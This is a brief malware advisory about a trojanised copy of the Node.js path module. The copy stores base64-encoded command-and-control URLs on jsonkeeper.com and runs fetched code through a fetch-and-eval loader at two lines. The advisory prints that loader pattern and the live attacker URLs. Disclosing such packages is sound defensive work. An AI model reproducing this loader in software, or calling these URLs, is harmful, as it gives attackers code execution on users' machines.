GCVE-110-OSM-2026-1381

Executes two independent remote second-stage payloads fetched from attacker-controlled domain www.jsonkeeper.com (https://www.jsonkeeper.com/b/UY8UI and https://www.jsonkeeper.com/b/R5RPL) via fetch + eval injected at lines 552 and 610 of path.js. Structurally identical to sibling package path-extend — same template, same campaign, distinct C2 URLs per package. path.js stores two base64-encoded C2 URLs (randomStringRe, tokenStringRe). At lines 552 and 610 the module calls fetch(atob(randomStringRe/tokenStringRe)).then(r=>r.json()).then(d=>{eval(codeString);}) — two remote JS payloads are fetched and eval'd when the module is required. Injected into a 17.3 KB clone of the Node.js path module source. Identical dependency set (axios, execp, fs, process, request, path, util) to path-extend.